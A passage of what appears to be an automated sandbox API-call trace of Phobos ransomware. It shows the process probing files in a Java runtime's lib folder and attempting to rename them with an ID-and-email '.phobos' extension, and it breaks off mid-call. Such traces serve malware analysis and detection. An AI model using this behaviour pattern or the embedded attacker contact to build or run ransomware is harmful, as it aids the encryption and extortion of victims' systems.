(lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.381] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.381] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.381] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=20065) returned 1 [0125.381] CloseHandle (hObject=0x594) returned 1 [0125.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc")) returned 0x20 [0125.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.381] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.381] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.381] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.382] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=560581) returned 1 [0125.382] CloseHandle (hObject=0x594) returned 1 [0125.382] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar")) returned 0x20 [0125.382] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.382] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.382] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.382] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.382] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=33932) returned 1 [0125.382] CloseHandle (hObject=0x594) returned 1 [0125.382] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar")) returned 0x20 [0125.382] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.382] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.383] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.383] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.383] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=584576) returned 1 [0125.383] CloseHandle (hObject=0x594) returned 1 [0125.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar")) returned 0x20 [0125.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.383] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.383] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.383] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.383] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=2455) returned 1 [0125.383] CloseHandle (hObject=0x594) returned 1 [0125.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties")) returned 0x20 [0125.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.384] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.384] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.384] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.385] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=3998) returned 1 [0125.386] CloseHandle (hObject=0x594) returned 1 [0125.386] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access")) returned 0x20 [0125.386] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.386] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.386] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.386] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.386] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=2856) returned 1 [0125.387] CloseHandle (hObject=0x594) returned 1 [0125.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template")) returned 0x20 [0125.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.387] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.387] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.387] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.387] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=14630) returned 1 [0125.387] CloseHandle (hObject=0x594) returned 1 [0125.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties")) returned 0x20 [0125.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.387] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.387] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.387] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.388] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=3376) returned 1 [0125.388] CloseHandle (hObject=0x594) returned 1 [0125.388] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template")) returned 0x20 [0125.388] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.388] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.388] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.389] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=381) returned 1 [0125.389] CloseHandle (hObject=0x594) returned 1 [0125.389] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar")) returned 0x20 [0125.389] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.389] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.389] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=2126) returned 1 [0125.389] CloseHandle (hObject=0x594) returned 1 [0125.389] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index")) returned 0x20 [0125.389] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.390] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.390] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.390] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.390] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=4464) returned 1 [0125.390] CloseHandle (hObject=0x594) returned 1 [0125.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties")) returned 0x20 [0125.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.390] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.390] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.390] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.390] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=1923211) returned 1 [0125.390] CloseHandle (hObject=0x594) returned 1 [0125.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar")) returned 0x20 [0125.391] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0125.391] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar")) returned 0 [0125.391] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.391] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.391] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=2796) returned 1 [0125.392] CloseHandle (hObject=0x594) returned 1 [0125.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja")) returned 0x20 [0125.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.392] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.392] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.392] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.392] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=10393) returned 1 [0125.392] CloseHandle (hObject=0x594) returned 1 [0125.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties")) returned 0x20 [0125.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.392] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.392] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.392] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.393] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=3492573) returned 1 [0125.393] CloseHandle (hObject=0x594) returned 1 [0125.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar")) returned 0x20 [0125.393] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0125.393] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar")) returned 0 [0125.393] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.393] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.438] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=54560347) returned 1 [0125.438] CloseHandle (hObject=0x594) returned 1 [0125.438] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar")) returned 0x20 [0125.438] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0125.438] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program 